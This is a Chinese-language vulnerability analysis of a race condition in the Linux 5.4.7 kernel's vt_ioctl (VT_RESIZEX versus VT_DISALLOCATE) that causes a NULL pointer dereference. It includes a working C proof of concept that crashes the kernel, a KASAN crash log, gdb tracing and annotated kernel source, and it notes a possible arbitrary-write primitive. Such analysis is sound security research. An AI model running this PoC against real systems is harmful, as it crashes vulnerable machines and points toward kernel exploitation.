编译并运行内核

首先下载5.4.7版本内核进行编译,然后如下命令启动内核

qemu-system-x86_64  \
  -kernel /home/pwnht/linux-5.4-rc7/arch/x86/boot/bzImage  \
  -append "console=ttyS0 root=/dev/sda earlyprintk=serial nokaslr" \
  -hdb /home/pwnht/image/stretch.img  \
  -net user,hostfwd=tcp::10021-:22 -net nic  \
  -enable-kvm  \
  -nographic  \
  -m 2G  \
  -smp 2  \
  -s  \
  -pidfile vm.pid  \
  2>&1 | tee vm.log 

然后运行如下poc

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define VT_DISALLOCATE    0x5608
#define VT_RESIZEX      0x560A
#define VT_ACTIVATE    0x5606
#define    EBUSY        1
struct vt_consize {
    unsigned short v_rows;    /* number of rows */
    unsigned short v_cols;    /* number of columns */
    unsigned short v_vlin;    /* number of pixel rows on screen */
    unsigned short v_clin;    /* number of pixel rows per character */
    unsigned short v_vcol;    /* number of pixel columns on screen */
    unsigned short v_ccol;    /* number of pixel columns per character */
};
int main(){
    int fd=open("/dev/tty10",O_RDONLY);		//打开这个设备
    if (fd < 0) {
        perror("open");
        exit(-2);
    }
    int pid=fork();		//这里fork了一个进程
    if(pid<0){
        perror("error fork");
    }else if(pid==0){
    while(1){							//其中一个进程做如下两件事
        for(int i=10;i<20;i++){
            ioctl(fd,VT_ACTIVATE,i);
        }
        for(int i=10;i<20;i++){
            ioctl(fd,VT_DISALLOCATE,i);		//置零
        }
        printf("main thread finishn");
    }
    }else{										//另一个进程不断的触发漏洞
        struct vt_consize v;
        v.v_vcol=v.v_ccol=v.v_clin=v.v_vlin=1;
        v.v_rows=v.v_vlin/v.v_clin;
        v.v_cols=v.v_vcol/v.v_ccol;
    while(1){
            ioctl(fd,VT_RESIZEX,&v);		//这个函数触发漏洞
        printf("child finishn");
    }
    }
    return 0;
}

得出的结果如下

[   27.190534] kasan: CONFIG_KASAN_INLINE enabled
[   27.190536] kasan: GPF could be caused by NULL-ptr deref or user memory access
[   27.190547] general protection fault: 0000 [#1] SMP KASAN PTI
[   27.190552] CPU: 0 PID: 296 Comm: a.out Not tainted 5.4.7 #1
[   27.190554] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1 04/01/2014
[   27.190574] RIP: 0010:vt_ioctl+0x1e76/0x2440							//此时的指针停在这里
[   27.190578] Code: 74 40 e8 9d 57 48 ff 48 89 d8 48 c1 e8 03 42 80 3c 20 00 0f 85 2f 04 00 00 4c 8b 33 49 8d be 70 01 00 00 48 89 f8 48 c1 e8 03 <42> 0f b6 04 20 84 c0 74 08 3c 03 0f 8e 24 04 00 00 45 89 ae 70 01
[   27.190580] RSP: 0018:ffff88806cfafa68 EFLAGS: 00010206
[   27.190583] RAX: 000000000000002e RBX: ffffffff858c4ea0 RCX: ffffffff81ecf1c3
[   27.190584] RDX: 0000000000000000 RSI: 0000000000000246 RDI: 0000000000000170
[   27.190586] RBP: 1ffff1100d9f5f4f R08: 7fffffffffffffff R09: ffffed100d9f5f26
[   27.190588] R10: ffffed100d9f5f25 R11: 0000000000000003 R12: dffffc0000000000
[   27.190589] R13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000009
[   27.190592] FS:  00007f7163595440(0000) GS:ffff88806d200000(0000) knlGS:0000000000000000
[   27.190594] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   27.190595] CR2: 00005616faee7128 CR3: 0000000066cfe000 CR4: 00000000000006f0
[   27.190598] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   27.190600] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   27.190601] Call Trace:						//这里是程序调用链
[   27.190605]  ? complete_change_console+0x350/0x350
[   27.190619]  ? schedule_timeout+0x32c/0x860
[   27.190630]  ? memcpy+0x35/0x50
[   27.190640]  ? avc_has_extended_perms+0x79d/0xc90
[   27.190644]  ? complete_change_console+0x350/0x350
[   27.190647]  tty_ioctl+0x66f/0x1310				//可以看出程序最后是在这里出的问题
[   27.190650]  ? tty_vhangup+0x30/0x30
[   27.190652]  ? __mutex_lock_slowpath+0x10/0x10
[   27.190659]  ? remove_wait_queue+0x1d/0x180
[   27.190661]  ? up_read+0x10/0x90
[   27.190664]  ? _raw_spin_lock_irqsave+0x7b/0xd0
[   27.190666]  ? _raw_spin_trylock_bh+0x120/0x120
[   27.190669]  ? __wake_up_common_lock+0xde/0x130
[   27.190672]  ? __wake_up_common+0x520/0x520
[   27.190675]  ? tty_vhangup+0x30/0x30
[   27.190680]  do_vfs_ioctl+0xae6/0x1030
[   27.190683]  ? selinux_file_ioctl+0x45a/0x5c0
[   27.190685]  ? selinux_file_ioctl+0x111/0x5c0
[   27.190688]  ? ioctl_preallocate+0x1d0/0x1d0
[   27.190690]  ? selinux_capable+0x40/0x40
[   27.190693]  ? tty_release+0xdb0/0xdb0
[   27.190697]  ? security_file_ioctl+0x58/0xb0
[   27.190699]  ? selinux_capable+0x40/0x40
[   27.190701]  ksys_ioctl+0x76/0xa0
[   27.190704]  __x64_sys_ioctl+0x6f/0xb0
[   27.190709]  do_syscall_64+0x9a/0x330
[   27.190712]  ? prepare_exit_to_usermode+0x142/0x1d0
[   27.190715]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[   27.190719] RIP: 0033:0x7f71630b9017
[   27.190722] Code: 00 00 00 48 8b 05 81 7e 2b 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 51 7e 2b 00 f7 d8 64 89 01 48
[   27.190724] RSP: 002b:00007ffed560f588 EFLAGS: 00000206 ORIG_RAX: 0000000000000010
[   27.190726] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f71630b9017
[   27.190728] RDX: 00007ffed560f594 RSI: 000000000000560a RDI: 0000000000000003
[   27.190730] RBP: 00007ffed560f5b0 R08: 00007f7163595440 R09: 000000000000000d
[   27.190731] R10: 00007f7163371b58 R11: 0000000000000206 R12: 000055c60b79a6e0
[   27.190733] R13: 00007ffed560f690 R14: 0000000000000000 R15: 0000000000000000
[   27.190734] Modules linked in:
[   27.190740] ---[ end trace 881c23b3324a5486 ]---
[   27.190744] RIP: 0010:vt_ioctl+0x1e76/0x2440
[   27.190747] Code: 74 40 e8 9d 57 48 ff 48 89 d8 48 c1 e8 03 42 80 3c 20 00 0f 85 2f 04 00 00 4c 8b 33 49 8d be 70 01 00 00 48 89 f8 48 c1 e8 03 <42> 0f b6 04 20 84 c0 74 08 3c 03 0f 8e 24 04 00 00 45 89 ae 70 01
[   27.190748] RSP: 0018:ffff88806cfafa68 EFLAGS: 00010206
[   27.190750] RAX: 000000000000002e RBX: ffffffff858c4ea0 RCX: ffffffff81ecf1c3
[   27.190752] RDX: 0000000000000000 RSI: 0000000000000246 RDI: 0000000000000170
[   27.190754] RBP: 1ffff1100d9f5f4f R08: 7fffffffffffffff R09: ffffed100d9f5f26
[   27.190755] R10: ffffed100d9f5f25 R11: 0000000000000003 R12: dffffc0000000000
[   27.190757] R13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000009
[   27.190759] FS:  00007f7163595440(0000) GS:ffff88806d200000(0000) knlGS:0000000000000000
[   27.190761] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   27.190763] CR2: 00005616faee7128 CR3: 0000000066cfe000 CR4: 00000000000006f0
[   27.190765] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   27.190767] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400

查看vt_ioctl函数地址

root@syzkaller:/home# more /proc/kallsyms | grep "vt_ioctl"
ffffffff81ecd370 T vt_ioctl

使用gdb连接

gdb ./vmlinux
target remote :1234

此时在vt_ioctl+0x1e76打断点,查看源码如下

|   877                                                                                                                                            │
│   878                         for (i = 0; i < MAX_NR_CONSOLES; i++) {                                                                            │
│   879                                 if (!vc_cons[i].d)   			// 首先这里是有值的                                            │
│   880                                         continue; 		//这中间进行了条件竞争,使得(vc_cons[i].d = 0)
│   881                                 console_lock();  				//加锁
│   882                                 if (v.v_vlin)                                                                                              │
│B+>883                                         vc_cons[i].d->vc_scan_lines = v.v_vlin; //然后在这里就出错                                     │
│   884                                 if (v.v_clin)                                                                                              │
│   885                                         vc_cons[i].d->vc_font.height = v.v_clin;                                                           │
│   886                                 vc_cons[i].d->vc_resize_user = 1;                                                                          │
│   887                                 vc_resize(vc_cons[i].d, v.v_cols, v.v_rows);                                                               │
│   888                                 console_unlock();     			//解锁    

此时的汇编代码如下

   0xffffffff81ecf1d8 <vt_ioctl+7784>:	lea    rdi,[r14+0x170]
   0xffffffff81ecf1df <vt_ioctl+7791>:	mov    rax,rdi
   0xffffffff81ecf1e2 <vt_ioctl+7794>:	shr    rax,0x3
=> 0xffffffff81ecf1e6 <vt_ioctl+7798>:	movzx  eax,BYTE PTR [rax+r12*1]
   0xffffffff81ecf1eb <vt_ioctl+7803>:	test   al,al
   0xffffffff81ecf1ed <vt_ioctl+7805>:	je     0xffffffff81ecf1f7 <vt_ioctl+7815>
   0xffffffff81ecf1ef <vt_ioctl+7807>:	cmp    al,0x3
   0xffffffff81ecf1f1 <vt_ioctl+7809>:	jle    0xffffffff81ecf61b <vt_ioctl+8875>
...
...
...
gdb-peda$ x/gx $rax+$r12*1
0xffffed100d98612e:	0x0000000000000000

如上边的代码所示,如果可以分配0地址,那么 vc_cons[i].d->vc_scan_lines = v.v_vlin;就相当于一个任意地址读写

在来看crash日志,得出是通过tty_ioctl()函数调用的vt_ioctl(),我们再次在tty_ioctl+0x66f打断点,程序停在了这里

|   2655                }                                                                                                                          │
│   2656                if (tty->ops->ioctl) {                                                                                                     │
│B+>2657                        retval = tty->ops->ioctl(tty, cmd, arg);                                                                           │
│   2658                        if (retval != -ENOIOCTLCMD)                                                                                        │
│   2659                                return retval;                                                                                             │
│   2660                }                                           

说明此时tty->ops->ioctl就是vt_ioctl的地址,对于tty->ops,有一个专门的函数负责对其赋值

void tty_set_operations(struct tty_driver *driver,
            const struct tty_operations *op)
{
    driver->ops = op;
};

这个函数在vty_init()函数中被调用,即vty_init ---> tty_set_operations

int __init vty_init(const struct file_operations *console_fops)
{
    cdev_init(&vc0_cdev, console_fops);
    if (cdev_add(&vc0_cdev, MKDEV(TTY_MAJOR, 0), 1) ||
        register_chrdev_region(MKDEV(TTY_MAJOR, 0), 1, "/dev/vc/0") < 0)
        panic("Couldn't register /dev/tty0 drivern");
    tty0dev = device_create_with_groups(tty_class, NULL,
                        MKDEV(TTY_MAJOR, 0), NULL,
                        vt_dev_groups, "tty0");
    if (IS_ERR(tty0dev))
        tty0dev = NULL;

    vcs_init();

    console_driver = alloc_tty_driver(MAX_NR_CONSOLES);
    if (!console_driver)
        panic("Couldn't allocate console drivern");

    console_driver->name = "tty";
    console_driver->name_base = 1;
    console_driver->major = TTY_MAJOR;
    console_driver->minor_start = 1;
    console_driver->type = TTY_DRIVER_TYPE_CONSOLE;
    console_driver->init_termios = tty_std_termios;
    if (default_utf8)
        console_driver->init_termios.c_iflag |= IUTF8;
    console_driver->flags = TTY_DRIVER_REAL_RAW | TTY_DRIVER_RESET_TERMIOS;
    tty_set_operations(console_driver, &con_ops);		//在这里调用
    if (tty_register_driver(console_driver))
        panic("Couldn't register console drivern");
    kbd_init();
    console_map_init();
#ifdef CONFIG_MDA_CONSOLE
    mda_console_init();
#endif
    return 0;
}

以上可以将tty->ops->ioctl变为vt_ioctl的地址

接下来我们看下vt_ioctl()函数

这里我们多注意一下vc_cons的相关操作,我们看到vc_cons是一个数组

struct vc vc_cons [MAX_NR_CONSOLES];

#define MAX_NR_CONSOLES    63    /* serial lines start at 64 */

然后注意如下代码,arg为我们的第三个参数

     case VT_DISALLOCATE:
        if (arg > MAX_NR_CONSOLES) {
            ret = -ENXIO;
            break;
        }
        if (arg == 0)
            vt_disallocate_all();
        else
            ret = vt_disallocate(--arg);
        break;

vt_disallocate_all()函数

static void vt_disallocate_all(void)
{
    struct vc_data *vc[MAX_NR_CONSOLES];
    int i;

    console_lock();
    for (i = 1; i < MAX_NR_CONSOLES; i++)
        if (!VT_BUSY(i))
            vc[i] = vc_deallocate(i);		//把所有空闲的设备释放掉
        else
            vc[i] = NULL;
    console_unlock();

    for (i = 1; i < MAX_NR_CONSOLES; i++) {
        if (vc[i] && i >= MIN_NR_CONSOLES) {
            tty_port_destroy(&vc[i]->port);
            kfree(vc[i]);
        }
    }
}

其中vt_busy函数如下

#define VT_BUSY(i)    (VT_IS_IN_USE(i) || i == fg_console || vc_cons[i].d == sel_cons)
#define VT_IS_IN_USE(i)    (console_driver->ttys[i] && console_driver->ttys[i]->count)

再然后就是vc_deallocate函数

struct vc_data *vc_deallocate(unsigned int currcons)
{
    struct vc_data *vc = NULL;

    WARN_CONSOLE_UNLOCKED();

    if (vc_cons_allocated(currcons)) {
        struct vt_notifier_param param;

        param.vc = vc = vc_cons[currcons].d;
        atomic_notifier_call_chain(&vt_notifier_list, VT_DEALLOCATE, &param);
        vcs_remove_sysfs(currcons);
        visual_deinit(vc);
        put_pid(vc->vt_pid);
        vc_uniscr_set(vc, NULL);
        kfree(vc->vc_screenbuf);
        vc_cons[currcons].d = NULL;			//这里将其置零
    }
    return vc;
}

总结一下调用流程vt_ioctl(VT_DISALLOCATE)->vt_disallocate_all->vc_deallocate //置零

另一个函数调用流程vt_ioctl(VT_RESIZEX)->我们刚才介绍的代码 // 触发漏洞

除了vt_disallocate_all,还有一个vt_disallocate函数,其实和vt_disallocate_all()区别不大,就是从释放全部变成释放指定的索引

static int vt_disallocate(unsigned int vc_num)
{
    struct vc_data *vc = NULL;
    int ret = 0;

    console_lock();
    if (VT_BUSY(vc_num))
        ret = -EBUSY;
    else if (vc_num)
        vc = vc_deallocate(vc_num);
    console_unlock();

    if (vc && vc_num >= MIN_NR_CONSOLES) {
        tty_port_destroy(&vc->port);
        kfree(vc);
    }

    return ret;
}

现在有一个释放置零,还缺一个申请内存,使vc_cons[currcons].d不为零的

我们再关注下VT_ACTIVATE这个case

    case VT_ACTIVATE:
        if (!perm)
            return -EPERM;
        if (arg == 0 || arg > MAX_NR_CONSOLES)
            ret =  -ENXIO;
        else {
            arg--;
            console_lock();
            ret = vc_allocate(arg);
            console_unlock();
            if (ret)
                break;
            set_console(arg);
        }
        break;

他会调用vc_allocate这个函数,他会给vc_cons[currcons].d赋值,使其不为零

int vc_allocate(unsigned int currcons)    /* return 0 on success */
{
    struct vt_notifier_param param;
    struct vc_data *vc;

    WARN_CONSOLE_UNLOCKED();

    if (currcons >= MAX_NR_CONSOLES)
        return -ENXIO;

    if (vc_cons[currcons].d)
        return 0;

    /* due to the granularity of kmalloc, we waste some memory here */
    /* the alloc is done in two steps, to optimize the common situation
       of a 25x80 console (structsize=216, screenbuf_size=4000) */
    /* although the numbers above are not valid since long ago, the
       point is still up-to-date and the comment still has its value
       even if only as a historical artifact.  --mj, July 1998 */
    param.vc = vc = kzalloc(sizeof(struct vc_data), GFP_KERNEL);
    if (!vc)
        return -ENOMEM;

    vc_cons[currcons].d = vc;		//为其赋值
    tty_port_init(&vc->port);
    INIT_WORK(&vc_cons[currcons].SAK_work, vc_SAK);

    visual_init(vc, currcons, 1);

    if (!*vc->vc_uni_pagedir_loc)
        con_set_default_unimap(vc);

    vc->vc_screenbuf = kzalloc(vc->vc_screenbuf_size, GFP_KERNEL);
    if (!vc->vc_screenbuf)
        goto err_free;

    /* If no drivers have overridden us and the user didn't pass a
       boot option, default to displaying the cursor */
    if (global_cursor_default == -1)
        global_cursor_default = 1;

    vc_init(vc, vc->vc_rows, vc->vc_cols, 1);
    vcs_make_sysfs(currcons);
    atomic_notifier_call_chain(&vt_notifier_list, VT_ALLOCATE, &param);

    return 0;
err_free:
    visual_deinit(vc);
    kfree(vc);
    vc_cons[currcons].d = NULL;
    return -ENOMEM;
}

漏洞触发

这个条件竞争可以采用如下方式进行触发:开两个进程,一个进程不停的分配vc_cons[currcons].d和释放vc_cons[currcons].d,分配的时候vc_cons[currcons].d不为0,释放的时候vc_cons[currcons].d为0,然后另一进程不停的去做VT_RESIZEX的调用,从而触发漏洞